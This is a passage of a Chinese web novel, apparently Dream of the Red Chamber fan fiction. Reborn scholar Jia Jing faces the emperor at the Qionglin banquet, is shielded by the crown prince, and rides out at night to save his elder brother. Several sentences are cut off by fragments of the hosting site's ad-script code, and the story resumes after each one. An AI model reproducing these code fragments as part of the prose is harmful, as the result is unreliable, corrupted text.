天丰帝到底来了多久,又听了多久?自己方才有没有说错什么? 齐王心思转了几转,自认为没说出什么,平身时已经恢复了往常模样。 他看着坐在天丰帝侧位的萧淮川,“皇兄,父皇当面,可不能……” 话未说完,意思却已经明了。 齐王可以确定,贾敬头上戴着的宫花,就是萧淮川一手准备的,东宫安排的眼线早已经将一切都禀报给了他。 换宫花其实是小事,但萧淮川作为太子,擅自换了圣上的宫花,这心思…… 萧淮川面色淡然,“哦?” “齐王不信孤?” “那么总该信父皇的话吧?” 齐王见萧淮川如此淡定,心不由得沉了沉,有了一丝不好的预感,他下意识朝天丰帝看去。 天丰帝此时正打量着贾敬,瞧了好一会儿,才道: “这宫花确实是朕所赐。” 5. 第 5 章 齐王不禁睁大了眼睛,没想到天丰帝会这么说。 他布置在东宫的眼线,分明说了,这是萧淮川自己准备的。 父皇日理万机,又怎么会关心进士宫花这等小事,还专门赐了贾敬不一样的宫花? 齐王越想越觉得不可能。 他稍稍抬眼,望着上座积威甚重的天丰帝,又看向距离天丰帝只一臂距离的萧淮川,两人座次亲近,谁人瞧着不说一声父慈子孝? 当真刺目得很。 齐王只觉得嘴中发苦,心中发酸,对萧淮川的不忿也就愈发深重。 到底是父皇一手教大的太子,当真是偏心…… 萧淮川却不管齐王心中是何想法,他现在正看着贾敬。 天丰帝并不是为了偏袒他,想要故意替他遮掩,才说宫花是自己所赐。 宫花确实是天丰帝所赐,甚至可以说,都不是萧淮川请求天丰帝为贾敬赐花,而是本就该天丰帝另赐宫花给贾敬,萧淮川不过是帮天丰帝办了差事罢了。 但是,阿元为什么会知道,宫花是天丰帝所赐? 萧淮川可以确定,自己事先并没有透露给贾敬。 贾敬自然也注意到萧淮川的目光,他这次没像先前那样避开视线,反而迎上,微微点了点头,示意自己真的知道。 这件事,前世时,萧淮川告诉过他。 贾敬从小跟着萧淮川屁股后面长大,他一个眼神萧淮川自然明白。他虽然不知道贾敬是从何处知晓这件事,但在处理眼前这件事情上,两人倒还算心有灵犀。 见贾敬愿意理自己,萧淮川只当贾敬先前是在闹什么脾气,如今已经好了。 心中没了包袱,萧淮川面上更加轻松坦然。 两人间的眉眼官司也入了齐王的眼,让齐王认定,这中间定然有猫腻。 齐王看似恍然大悟,“原来是父皇所亲赐宫花。” 他目光稍稍扫视了一圈在座的新科进士们,接着道:“贾培元能得父皇亲赐这独一无二的宫花,想来一定有过人之处。” “说来惭愧,儿臣最近懒怠,没关注朝堂之事,倒是不知贾培元做了何事,让父皇如此龙心大悦?” 他此话一出,那群新科进士们也都若有若无的朝上座看去,齐王殿下说出了他们的心声。 贾培元到底凭什么可以带那朵独一无二的宫花? 是真的做了什么了不得的事情,还是,就像齐王所说那样,贾培元得太子青睐,关系亲近。 齐王不依不饶,萧淮川却淡定自若,甚至端起了一杯茶,轻呷了一口。 萧淮川出身于天丰元年,比贾敬大两岁,三岁时被天丰帝册立为太子,于这位上也近二十载,又怎么会不知道,他如今的位置有多难做。 尤其是一个身强力壮长成的太子,无时无刻不在提醒天丰帝,他老了。 史书里不得善终的太子,太多太多。汉武之太子刘据,唐宗之太子承乾,哪一位不曾是他们父皇的骄傲,群臣看好的储君? 可终究是父子离心,兵戎相见,令人唏嘘。 即便宫花非天丰帝所赐,萧淮川也会提前向天丰帝请旨。 私自更换御赐宫花这样光明正大挑战天丰帝君威的事情,萧淮川还没蠢到那个地步。 天丰帝又怎么可能看不出齐王的心思?但到底是他喜欢的儿子,不过是多问了一句,没什么所谓。 “贾培元,上前来。” 天丰帝喊了贾敬。 贾敬恭敬上前,走到厅中央,他微躬着身体,眼眸低垂,没有直视天颜。 “抬起头来。” 天丰帝再次打量了贾敬一番,这次看得时间更久了一些。 齐王不明所以,难道他父皇还看脸不成? 他承认贾敬那张脸确实好,今年钦点的探花郎都比不得贾敬。 “不错,还是像的。”天丰帝点了点头,终于开了尊口。 “像谁?”齐王脱口问出。 在座的新科进士们也都竖起了耳朵,好奇圣上说的是谁? 天丰帝身居高位,目光如鹰隼一般,扫视全场,“朕知道,你们好奇贾培元的宫花,那么朕也不瞒着你们。” “贾培元的宫花,若是实际说来,也算不上朕所赐。” “想来一等神威将军贾代化的威名,你们应当也都听过。” 贾敬微微抬头,余光瞟见天丰帝脸上的一丝追忆。 几位新科进士的脸色变了变,有意无意地看向贾敬,自然是听说过的,就是这位贾培元的父亲。 天丰帝似是在追忆,“天丰十年,代化领兵出征北上,于关外败敌,使得北狄十几年来不敢再犯。” 齐王早就注意到那些新科进士们的神情变化,又听天丰帝提及贾代化的功绩,故意说道:“贾将军的威名,想来无论是朝野上下都是知晓的。” “贾将军战功赫赫,为大乾立下汗马功劳,是大乾的猛将战神。” “父皇赐宫花给贾培元,是为了贾将军?” 言外之意,贾培元获此殊荣是沾了祖宗荫蔽,可即便如此,这样明摆着给贾培元搞特殊,必然也会引起这些新科进士的不忿。 贾培元到底只是贾培元,不是贾代化。 天丰帝像是没听见齐王的话一般,开口道:“因为那场战役,代化身受重伤,自此落下了病根。” “在天丰十二年,便早早去了。” “那年,培元才九岁吧?” 贾敬喉咙干涩,眼眶也微微发红,声音颤抖,“是。” 天丰帝絮絮说着,“代化临终前,拉着朕的手说,他戎马一身,就是学问不多,没曾想幼子聪慧,将来定是贾家最会读书的。” “若是能考中进士,也算是为他老子扳本了。” “但他已经看不见幼子头簪进士宫花的那天了,拜托了朕,定要选朵最美的宫花给培元,肯定是最好看的那个。” 天丰帝面色更加哀恸,“我与代化从小一起长大,他一直辅佐着朕,为朕分忧。” “最终更是捐躯报国,那么他的一点遗愿,朕又怎么可能不满足?” “噗通。” 天丰帝的话,情真意切。贾敬直接跪倒在地,深深一拜,这拜的并非是天丰帝,而是是他的父亲,贾代化。 心中却只觉得讽刺,上辈子落得那般下场,多半都是天丰帝的手笔。既想要老勋贵们为他效力,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怕勋贵们实力壮大。 幸好他父亲去的早,若是看见天丰帝这一手鸟尽弓藏,兔死狗烹,恐怕会死不瞑目。 而自己得幸中进士,那也是因为科举的糊名制度,做不得一丝假,不然,可能早就将自己丢下榜去。 天丰帝自然见不得贾敬考中进士,因而前世,贾敬刚考上进士,宁国府如今当家人贾敷便出了事。 座下众人面面相觑,无人敢应声。圣上都说到如此地步,谁还敢逆着来,斤斤计较? 齐王扯了扯嘴角,“没想到,贾将军如此一片拳拳爱子之心。” 天丰帝眼神轻飘飘的望了齐王一眼,虽不掺喜怒,却让齐王一个激灵,反省自己是否刚刚说错了话。 “代化乃至整个宁国府,自大乾开国以来,便是忠勇之表率。” 天丰帝的声音低沉,“贾氏一族,世代忠烈,赤胆忠心。” “便是贾培元他考不上进士,朕都能赐他一官半职,以慰贾家忠魂,何况只是一朵小小的进士宫花?” 此话一出,新科进士们皆将头垂的更低了,原本的嫉妒在天丰帝一番诉说下,早已经荡然无存,取而代之的是钦佩和羞愤。 况且,他们如今入仕,嘴上说着读圣贤书,修身齐家治国平天下,可哪个又不想封妻荫子呢? 天丰帝的声音变得欣慰几分,“如今,贾培元不负先人期望,以科考博取功名,光耀了贾家门楣,这亦是我大乾之福。” 贾敬身体微微颤抖,再次深深拜下,扣手谢恩,“谢圣上隆恩!” 心中却道天丰帝好演技,南曲班子都没他那般会唱。 但天丰帝既然搭了这座戏台子,就别怪自己在这戏台子上,喧宾夺主了。 贾敬直起身后,眼神坚定,“臣贾培元定当不负圣上所望,誓将秉承家训,勤勉为公,不负圣恩,为君分忧!” 少年郎目光灼灼,响亮清脆的声音掷地有声,落在了每一个人的耳畔。 萧淮川的嘴角早已经扬起,阿元就该这样。 齐王已经彻底哑火。 天丰帝眼眸闪了闪,稍纵即逝,紧接着他哈哈大笑,满意地点了点头,“好,好啊!有如此栋梁,大乾何愁?” “代化也能含笑九泉了。” 天丰帝感慨完,又将目光投向座下其余众人,眼神含着期待和赞许, “尔等皆是今年的新科进士,大乾的栋梁柱石。” 此话一出,在座的新科进士们顿时精神一振,纷纷挺直脊背,脸上是难掩的激动。 “臣等定当竭尽全力,上报圣上之圣恩,下为黎庶谋福祉!” 贾敬暗自扯了扯嘴角,琼林宴,琼林宴,天子宴请新科进士,至此天子门生已成。 上辈子自己不也是这么被蒙蔽了许久吗?还因此付出了惨痛的代价。 他上辈子以为百般隐忍避让,就能消除圣上和新帝的忌惮,辞官避世,寻仙问道,只为苟全。 可事实证明,大错特错。 既然如此,他今世还忍什么? 忍无可忍,便无需再忍了。 贾敬抬头,冲着萧淮川粲然一笑,他一定会护住他之所爱,不论付出什么代价。 6. 第 6 章 天丰帝也就露了这一面,便匆匆离去,处理其他政事,留下萧淮川主持大局。 齐王因宫花的事情本就觉得失了面子,又不想看萧淮川的脸色,自然也找了个由头跟着走了。 天丰帝之君威到底影响着众人,他在时,众人是大气不敢出一个,天丰帝一走,即便萧淮川这位储君还在,可宴厅的氛围肉眼可见的轻松了许多。 这些新科进士们之间也都开始攀谈起来,之后同朝为官,同年的关系,重中之重。 宋子虚忽然站起身,吸引了一旁贾敬的注意,本以为他这位同年是打算和其他人交谈,谁知宋子虚朝着贾敬就是深深一拜。 贾敬连忙起身,伸手就要去扶,“子虚兄,你这是作甚?” 宋子虚坚持,那弯着的腰宛如铁筑一般,贾敬愣是没将人扶起来。 “培元,请听子虚说完。”宋子虚坚定认真的语气,令贾敬收回了手。 而两人此番举动,也吸引来了其他人的目光,皆朝贾敬这边看来,眼里带着探究。 尤其是方才和贾敬宋子虚对上的李玉衡,一脸看热闹的神情。 萧淮川更是一直注意着贾敬这里,见宋子虚此举,凤眼微凝,猜测着他的用意。 刚准备起身过去,萧淮川像是想到了什么,立刻顿住,又坐了回去。 萧淮川先前总是将贾敬当孩子护着,即便贾敬已经及冠,但在他眼里依旧是自家的崽子。 但先前他藏于屏风后,看着贾敬“舌战群儒”,才有了实质感受,跟在他身后的弟弟已经及冠成人,成了意气风发的新科进士,可以独当一面了。 萧淮川此时的心情复杂到他自己都未分清,是欣慰,是自豪,还有莫名的空虚怅惘…… 贾敬此时却顾不上萧淮川,见宋子虚如此认真,他自然也跟着认真了几分。 只见宋子虚铿锵有力地说道:“培元,不瞒你说,先前我也同许多人一样,道听途说,因着你公府公子的出身,就带了偏见。” “今日听圣上言,才知道自己是多么狭隘,多么无知,贾老将军一生戎马,战功赫赫,最终马革裹尸,其忠烈之魂是吾辈楷模,而培元更是才华横溢,令人钦佩,子虚当真羞愧,今日在此向培元谢罪。” 宋子虚说着,竟然都出了哭腔,红了眼眶。 贾敬望向宋子虚的眼神凝实了几分,他是真的没想到,这位认识不久的同年,竟然会在琼林宴上做出这番行为。 无论宋子虚这番道歉是虚情还是真心,贾敬都不得不对宋子虚另眼相看。 且不说其他,就说太子当面,其余人皆是以后需要同朝为官的同僚,大庭广众之下承认自己的“错处”,此等心性,实为难得。 再说宋子虚这番话,倘若他是真心实意,其品格之高,赤子之心,令人敬佩;倘若只是虚情假意,为了作秀,那贾敬也该感慨此人城府之深沉,演技之高超。 最后,他用自贬抬了贾代化和贾敬,拉近了和宁国府的关系,待今日之事一旦传出去,定能博了同宁国府交好的勋贵们的好感,也衬得他自己的品格纯洁坦荡,也不会让清流一派所瞧不起。 一箭三雕,着实厉害,宋子虚此人当真有意思。 无论这位接近自己是何目的,贾敬也觉得此人能够深交。 贾敬面上感动不已,再次弯腰,双手将宋子虚扶起,“子虚兄万万不可!这是在折煞小弟。” “子虚兄何错之有?子虚兄的高义和胸襟才令小弟敬佩。” “品性确实不错。”坐于上位的萧淮川说了一句。 宋子虚得了萧淮川这声赞叹,受宠若惊,一时间都忘了要做什么。 而早在宋子虚先前开口时,在场众人皆已经噤了声,因此他这一番话,众人一字不落的听完了。 有些人也早已经随着宋子虚的话感到羞愧,又见宋子虚得了太子殿下的称赞,更是稳了心神,纷纷举杯向贾敬赔罪。 但也有人依旧看不惯这些,比如先前的李玉衡,脸色难看得望着被人频繁敬酒的贾敬,愤恨道: “都是趋炎附势之徒!” 李玉衡说着,目光便朝左侧看去,刚开口道: “谦之兄,你……” 话还没说完,旁边那人已经起身离了席,李玉衡讪讪闭了嘴。 贾敬这具年轻的身体,也没喝过几次酒,几杯下肚,早已经红了脸颊,那双多情的桃花眼更是像沁了水一样。 萧淮川将小太监招来,耳语了几句,小太监便下去了。 贾敬觉得自己不能再喝了,可面前忽然来了一位意料之外的人。 “培元兄,久仰大名。”一位年龄莫约和自己差不多大的青年端着酒杯上前。 贾敬见来人,原本略显迷糊的脑袋瞬间清醒了几分。 “谦之兄。”贾敬惊诧唤人,来人正是新科状元薛琼薛谦之,当今阁老薛贺薛阁老之嫡孙,也是今年新科清流一派的核心人物,好多学子以他为首。 而在上一世,他也是贾敬唯一记得的仕途发展的同年。 倒不是薛琼未来权倾朝野,平步青云,反而是天之骄子,庸碌半生,令人扼腕叹息。 薛家是清流不假,可算是旧党,待新帝登基后,重用新党,旧党势力在朝堂被极力打压。 薛阁老在时,新帝念着他三朝老臣,又是帝师,还给几分薄面。可随着薛阁老仙逝,这几分薄面也就散了。 薛家子孙和门生以各种理由被贬谪出京,而薛琼这位曾经惊才绝艳的神童娇子,薛家的长房嫡孙更是一下子被贬到了偏远苦寒的瘴南之地,还未到任上被病逝了,客死他乡,享年三十七岁。 京中人听闻后,皆是唏嘘。 而贾敬那时也已经入了道门,他能知晓这件事,还是薛家来玄真观为薛琼做往生道场。 思及前世之事,又望着面前的年轻面容,今夕何夕,贾敬倒生出了几分感同身受,起了几分熟络亲近之心。 薛琼本只是走个过场,却不自觉沦陷在贾敬的热情里。 谁能拒绝一个倨傲少年的诚心夸赞呢? “谦之兄的文采,培元是从小听到大,能和谦之兄当同年,我还真是撞了运了。” 薛琼笑了笑,吹捧道:“培元兄的聪慧,谦之也是早有耳闻,今日一见,果然名不虚传。” 贾敬也知道薛琼说的是场面话,也不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在意。他端起一杯酒,率先敬薛琼,杯中酒滑入喉中时,贾敬的眼眸微,这酒…… 哪里是酒,分明是解酒的蜂蜜水。 贾敬喝完放下酒杯,下意识看向萧淮川,萧淮川若有所感,抬眸,四目相对,萧淮川轻轻晃了晃手中的酒杯。 果然,也只有他会这样关心自己。 贾敬的心一暖,垂眸,敛去眼中的情绪。 而有了薛琼之举,前来与贾敬攀谈人更多了几分,贾敬也都来者不拒。 也就蜂蜜水喝多了,涨肚子罢了。 上一世是他自专,知晓那些同年不喜自己,便也没当回事,实则错过了许多。 现在看来,他与这些同年们,也并没有什么不可调和的矛盾,甚至多跨一步后,有了许多转圜的余地。 宴罢,贾敬也装着醉意随人离席,半道上被一位小太监拦下。 “二爷,殿下请您过去。” 贾敬眯起眼,将人认了出来,就是先前跟在萧淮川身后端簪花的那个小太监,这才放下心来。 随着小太监转了个方向,没走几步路,就遇见了等在那里的萧淮川。 萧淮川抬手,小太监便退下了,他刚一凑近,就闻见了扑面的酒味。 “不是后面都换了蜂蜜水了吗,怎么酒味这么冲?” 贾敬眯起眼,桃花眼弯弯,“是没喝了,就是味道重些,还得谢谢你呢。” 萧淮川定定望着贾敬,见他这般放松轻快,闪过一个思绪,这是醉了? 贾敬见萧淮川看着自己,忽然一个凑近,夹杂着酒味和甜味的温热气息就喷在了萧淮川脸上,歪了歪头, “瞧什么?” 萧淮川只觉得那气息像是灼了火,让他下意识退了半步,手却紧紧地扶住了贾敬,生怕他一个不小心跌倒。 “瞧你。” 贾敬像是不明白,“我有什么好瞧的?” “瞧着觉得,阿元长大了。” 此处无人,萧淮川终究感叹出声,这句话像是从他心底涌现出一般。 他也不知道说出这话时,自己是个什么感觉,难以言喻。 今日贾敬在琼林宴上的表现,他都看在了眼里,记在了心里。 萧淮川不得不承认,他的阿元,真的长成大人了,不再是需要他挡在身后庇护的孩子了。 贾敬一听,骄傲地抬了抬下巴,“是,我长大了。” 萧淮川眼眸微动,轻声问道:“阿元很期待长大吗?” 他的心中倒是涌现一丝不易察觉的失落,他不舍,长大的阿元没以前那般与他亲近了。 “当然。”贾敬肯定点头,“我长大了,就能保护你了。” 萧淮川愣怔在了原地,他万万没有想到贾敬竟然会这样回答。 阿元想要长大,竟然是想要保护自己吗? 萧淮川的心忽的落下,安定,他伸出手,揉了揉贾敬的头,“傻瓜,哪里需要你的保护了?” 贾敬却没在说话,迷糊地闭上眼,一头栽在了萧淮川的怀里。 今晚,就让他醉一回吧。 但刚刚那句话,他是认真的,是他对萧淮川的承诺。 7. 第 7 章 萧淮川本想将贾敬带回东宫休息,可贾敬闹着要回家。宫门即将落锁,即便是太子 ,此时也不得随意离宫。 萧淮川只好命人护送贾敬回去,是他身边办差得力的一个小太监,走前还不断叮嘱。 小太监不仅办事好,说话也中听,“主子您放心,定会将二爷全头全尾的送回国公府。” 马车行至在宁荣街时,车帘被掀开一角。 贾敬就这么静静望着夜色下的宁荣街长道,眼里一片清明,丝毫不见先前的醉态。 此时夜已深,街道两侧是贾敬熟悉而又陌生的建筑,那些曾经喧嚣的商铺、酒肆,如今都静静地沉浸在月色之下,只有偶尔几盏灯笼随风摇曳,映照出淡淡的光晕。 摊贩杂耍早已经收工家去了,夜幕下的宁荣街显得空旷静寂,不见白日里的繁华热闹。 他已经许久没有踏足这里了。 上辈子刚入道门时,他每年年节时还会回来一两次,可后来,为了消除太上皇和新帝对宁国府的戒心,相信他真的痴缠道教,便连家都不回了,一直到他选择吞丹…… 他以为他再也没有回到这里的可能了。 “哟,二爷,您醒着呢?” 小太监时不时地就朝马车里面看去,生怕醉酒的贾敬有什么不舒服的地方,这一回头就见贾敬正撩开帘子朝外看。 “二爷,刚过东街门,到公府门还有一会儿呢,您再歇会儿?” 贾敬轻瞥了小太监一眼,随意问道:“叫什么?” “二爷叫小的小德子就成。” 贾敬点点头,半阖着眼睛,神色倦怠,没再说话,小德子也识趣的闭了嘴。 半晌,小德子轻轻敲了车门,细声细语唤了声,“二爷,到门口了。”生怕惊到了贾敬。 “嗯。” 贾敬弯腰下了马车,小德子在一旁紧张护着,他知晓贾敬喝了酒。 马车停在宁国府的角门,贾敬下了马车,脚踩在实地的那一瞬间,贾敬深深吐出一口气。 他真的,回来了。 角门边值夜的人听见门外动静,立刻跑出来看,见是贾敬回来,有些诧异,还以为自家二爷夜里歇在宫里,不回来了。 这对于宁国府的人来说是常有的事。 “二爷您回来了。” 小厮心思百转千回,但动作却不慢,连忙开门引贾敬进去。 贾敬侧身,看向一旁的小德子,对门口小厮抬了抬下巴,“打个赏。” 小德子连忙躬身,摆着手,嘴上说道:“诶呦,二爷,这可使不得,若是让殿下知道小的收了您的赏,那还得了?” 嘴甜的让贾敬勾了勾嘴角,抬了抬手,“没事,拿着吧。” 角门的小厮连忙双手递给了小德子一包银钱,小德子先是给贾敬拜了一拜,这才笑着收了下来。 “你自个儿回去复命吧。” 贾敬丢下这句话,就跨步迈进了宁国府内。 小德子是眼见着贾敬进去,角门落了锁,才回了马车,回宫。 而贾敬这边进了门,小厮殷勤的为贾敬照着灯。 贾敬没走几步,便停顿了脚步。 “二爷?”小厮疑惑。 贾敬已经收了笑,目光看向不远处前方一处平房,“去,把王大叫来。” 小厮望着面前明明没什么变化,但莫名让他觉得威慑的贾敬,下意识的就点了头,听从了安排。 待自己迈步出去,才一愣,他在角门当了有一阵子的门房了,也见过二爷许多次,怎么独独这次觉得不同呢? 定是二爷成了进士老爷。 “王大管家,王大管家,可睡下了?”小厮见里面烛光微弱,也并未敲门,而是趴在窗外轻声唤着。 “谁啊?”一道粗犷男声略显不耐烦。 “王大管家,二爷回来了,在角门那儿,请您过去。” 这小厮口条清楚,很快就将事情说了个明白。 很快里面的灯便亮了几分,小厮凑耳去听,里面窸窸窣窣的穿衣声,他也就放下心来,轻步走到门口候着。 没一会儿,门就开了,王大一边套着外衣一边走了出来,面上带着疑惑之色, “二爷没在宫里宿着,赶着夜回来了?” 王大心中起了一丝猜测,他家二爷不会是跟太子殿下闹不愉快了吧? 小厮是个极机灵的,像是瞧出了王大心中的想法,便试探着开口, “是,还是殿下身边的公公送二爷回来的,二爷还给了赏钱。” 这话一出,王大立刻明了,看来是没闹什么不愉快。 王大瞥了眼旁边低眉顺眼的小厮,倒是机灵。 “走,别叫二爷等着了。” 王大心中虽然还疑惑贾敬叫自己去的原因,但也没打算跟这个小厮多聊。 两人步履匆匆赶来,见贾敬还站在原地,但早已经脱了一身进士巾服,着一身中衣,顿时将王大吓了一跳。 “我的二爷,怎么将外衣脱了?这三四月天,夜里还是凉的,小心冻着了。” 贾敬将手中的衣物递给了那小厮,衣服是揉作一团,上面却小心放着一对宫花,“去,给爷送到爷院子里,交给素雪。” “素雪可认得?”贾敬又问了句。 小厮小心接过那衣物,点头,“晓得,二爷院里的素雪姐姐,咱府上谁人不认得?” “嗯。”贾敬不放心又说了句,“注意着那对宫花。” “诶,二爷您放心。”小厮更小心了几分,目光也落在了那对宫花上,就算他没见识不识货,也看得出来这对宫花的珍贵精致。 待小厮走后,贾敬才看向王大,这是他们宁国府的家生子,其父就是跟在贾代化身边的,王大自小也跟在贾敷身边。 而在上一世,王大在贾敷去世后,也是兢兢业业管理宁国府的事务,却没过几个月,就在一次外出收租时,路上遇见了山匪惨死。 贾敬不知道王大的死,是意外还是人为,但他心中有了一个猜测,待今后验证。 “明日去迎大哥的车驾都准备好了?” 按照府上旧例,一般主人外出,家中奴仆得在城外接应一下。 王大只当贾敬是关心贾敷回府这件事,“二爷,小的办事,您还不放心吗?早就安排妥了。” 贾敬颔首,“行,喊上明天安排的护院,现在随我出城。” “啊?”王 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大愣住了,现在? 瞧了瞧天,天黑月明,大晚上呢。 “二爷,您想接大爷,明日去城外接。也是来得及的,马上也快宵禁关城门了。”王大劝道。 “就现在,赶在宵禁前出去,我们直接去庄子上,天亮前赶到。”贾敬面容严肃。 王大见状,心沉了沉,他自小跟在贾敷身边,对贾敬也是极为熟悉的,知道自家二爷不会乱胡来。 “二爷,可是出了什么事?” “先走。”贾敬言简意赅,“待会儿别走角门,去后院的后门,让他们直接去那边候着。” 王大也不再多问,立刻喊了一个小厮,让他去护院喊人,护院都住一起,也方便。 他这人,有一个长处,那便是听话。 “二爷,您将衣服披上。” 王大此时也不知道从哪里拿了件衣服,贾敬也知道穿着中衣不合适,但总不能穿着进士巾服出去,太过晃眼。 贾敬也不在意衣服如何,便直接穿上,朝后门那边走去。 等他们到后院的后门时,这些护院都到了,他们平日里动作就快,没一会儿便都来齐了。 贾敬看了眼身后的车驾,又看了看旁边空着的马匹,想了想,还是选择了隐蔽的车驾。 他上了马车,其余人也都准备好,即刻出发。 马车和马匹深夜出动,即便再小声,也难免有动静。幸而宁荣街上也就宁国府和荣国府两家,荣国府那边听见动静,立刻向自家府里主子禀告了。 王大显然也想到了这点,回头朝车驾里面说道:“二爷,西府那边……” “无妨。” 西府那边现在管家的还是贾敬的堂叔,荣国公贾代善。 这是个不容小觑的人物,贾敬父亲贾代化是降等到一等将军才袭了爵,而贾代善是直接世袭荣国公,除了第一代荣国公贾源功劳大外,还有贾代善个人的原因。 贾敬也不想瞒着西府,待后面可能还要请这位堂叔帮忙。 晚上的大道上很是空旷,贾敬一行人疾步匆匆,终究是赶在宵禁前,到达了西城门口。 城门口值夜的小兵比较谨慎,现在又是要宵禁关城门的特殊时辰,进行了各种询问。 “我家主人是去城外温泉庄子沐浴,还不放行?小心耽误了时辰!” 王大早就编好了说辞。 小兵本想再问一遍,谁知刚准备开口,就被旁边一位记录文书的小兵拉住了。 “诶呦,您请。” 马车再次跑动,后面跟着两排护院,气派十足。 “这就放了?”小兵有些不满。 “你傻不傻?”旁边的文书小兵放下笔,戳了戳小兵的额头,“没看见那队人马是从宁荣街来的吗?” “那边可就两门公府,贵人又提郊外的温泉,你以为,这京里什么权贵都能有温泉庄子?” 文书小兵越说越得意。 “那万一……”小兵预想了一个结果,若是出了事该怎么办。 文书小兵摆了摆手,“没有万一。” 可他不知道的是,还真就出了万一,将宫里的太子殿下都招来了,贵人红着眼问他,马车朝哪里行去了。 8. 第 8 章 出了城,贾敬就命王大加快了脚程,朝宁国府的庄子赶去。 而快要到庄子时,贾敬忽然对王大道:“前方那个岔道,你记得走左边那道。” 王大没问其他,应了,吩咐了其他人。 贾敬目光沉沉,掀开帘子看着岔口没走的右道。 上辈子,他兄长贾敷回城,就是走了这条道,惊了马,出了事。 贾敬不能确定,此时那条道上有没有埋伏。 他也不确定,左边的这条道是否就没有埋伏。 倘若他兄长真的是为人所害,那么他们的目标也只会是兄长,自己从反方向过来,想来他们即便埋伏,也不敢轻举妄动。 万幸,一直进了庄子,都风平浪静。 贾敬也松了口气,而马车也在庄子上人的阻拦下,停了下来。 王大作为宁国府的大管家,多是他与庄子上的庄头接触,庄子上的人可能认不出主子,但绝对能认出他。 “王大爷,您怎么这个时候来了?” 现在还在庄子门口,王大拧着眉,“先进去。” “诶诶,您说得对。”庄子门口这人还是庄上的一个小管事,连忙放行,目光则是探究地朝马车里看去。 不会是府上太太不放心大爷,连夜来了庄子上?想到这里,那小管事脸上都出现了一丝古怪笑意。 “看什么呢?”王大呵斥了一声,小管事吓了一跳,立刻低下了头。 王大走前,先是朝四周看了看,略带警告道:“仔细你的嘴。” “小的明白,小的明白。” 王大对于这庄子是极熟悉的,他那张脸在庄子上也是个活招牌,派了个人带领跟随来的护院休息,贾敬的车驾是一路驶到了贾敷所住的院子门口。 马车刚停下,院门口的护院便上了前,率先便看见了王大。 “王总管,您怎么深夜来了。” 王大为贾敬打起帘子,护院一眼就瞧见了里面坐着的贾敬,一愣。 “二爷!” 贾敬坐在马车内,深深地朝院子里面的主卧望去,兄长现在就在里面睡着…… 他呼吸了几瞬,才下了马车,他刚进院子,里面又迎出一个人,正是在贾敷面前跑腿的松儿,见是贾敬来了,也是一惊。 今天可是琼林宴,贾敬就算不在宫里,也应该在宁国府,怎么也不应该深夜来庄子上啊? “二爷,您怎么来了?” 可是出了什么事?这话不吉利,松儿吞回了肚子了。 看看天,远方已经露出了一线白,将将要天亮了,也是露水最深重的时候。 “您快进,外面更深露重,小心伤了身子。” 松儿引着贾敬进去,眼神却瞧向了王大,使着眼色,是请王大拿个主意,是现在将贾敷唤醒,还是让贾敬先歇着。 王大自然看出了松儿的询问,脑子稍稍一转,就朝贾敷所住的屋子抬了抬下巴,示意他去请贾敷。 贾敬虽然什么也没跟王大说,但王大却已经敏锐地意识到,能让贾敬刚下琼林宴,进士巾服都没脱,便直接赶到了庄子上,定是有什么要紧的事情。 况且贾敬是贾敷一手带大,贾敷从来不会跟贾敬计较。 贾敬在厅堂坐下后,便愣怔地望着桌子,眼神放空,像是在想什么,又像是什么都没想。 他就这样坐着,一动未动。 不知过了多久,脚步匆匆声响起,还未等贾敬反应过来,便听见一道温和夹杂着急促的声音响起: “阿元,可是出了什么事?” 贾敬身子一僵,缓缓抬头,望着挂帘后步履匆忙赶来的人,彻底呆在了原地。 熟悉的面容,这是还活着的兄长…… 若说养育之恩,贾敬这份恩得报到他的兄长贾敷身上。 且不论他父亲贾代化于他九岁就仙逝了,就说贾代化还在时,贾敬与他的关系也能算上仇人相见了。 贾代化对于贾敬的管教,可以算得上审贼,贾敬自己都觉得,要不是兄长护着他,他可能都不一定活着。 而在贾代化逝世后,贾敬更是贾敷一手带大,再后来,兄长成了亲,贾敬又多了一个疼他的人,所谓长嫂如母,无外如是。 贾敬这位嫂子不是别人,正是西府现在史大太太的嫡亲侄女,其父是世袭保龄侯史进。 史大姑娘闺名云棠,与他兄长是襁褓姻缘,青梅竹马。 贾敬的眼睛一眨不眨的地盯着,即便眼睛酸涩,也不愿眨眼。 贾敷见贾敬眼眶泛了红,脸上的神情复杂到他一时分辨不出,本就着急的心,更加急了。 他一个疾步上前,“到底发生了何事?” 心中暗道:今日是琼林宴,难道是有人欺负了阿元? 贾敷也知道,自家这个出身,定会招来那些自诩清流之辈的冷眼,但到底是何人如此大胆,竟然将他骄傲倔强的弟弟给惹哭了? 他宁国府虽然不比以前显赫,可也不是什么人都能欺辱的! 他的弟弟本该是京城里吃喝玩乐神气的小公子,即便在家胡闹一辈子也是使得。要不是自己不中用,何苦要阿元去拼什么功名? 贾敷这样想着,心中就更加酸涩,对弟弟的亏欠瞬间涌上心头,立刻朝贾敬伸出了手。 本想着弟弟投怀,自己安慰,却没想到,贾敬居然朝一旁闪了闪,躲开了贾敷的手。 贾敷的手滞在了空中,诧异地望着面前的弟弟。 贾敬像是也没料到自己会是这样一个“近乡情怯”的一个反应,脸上闪过一丝茫然,对上贾敷难以置信的目光,更是显得局促无措。 “哥……” 贾敬张了张嘴,喉咙里像是被丹药在此燃烧一般,灼热堵人,他也不知道,刚刚那一声到底喊没喊出去。 “诶。”贾敷应道,再次伸出手,扶上了贾敬的肩头,忧心忡忡地望着贾敬,“告诉哥,发生了什么事?可是琼林宴上出了事?” 贾敬的心骤然一疼,随后便感觉像是无数个根针一样刺入,密密麻麻的疼痛,让他下意识抓紧胸前的衣襟,想要缓解,却又无能为力。 他自责,他愧疚。 甚至于先前决心吞丹时的自毁情绪瞬间翻涌而来。 兄长逝去,他本该好好教导好兄长遗留下的孩子,守护好宁国府。然而,他一个也没做到。 他没有当好一个父亲,也没有当好一个族长。 贾敷出现在贾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 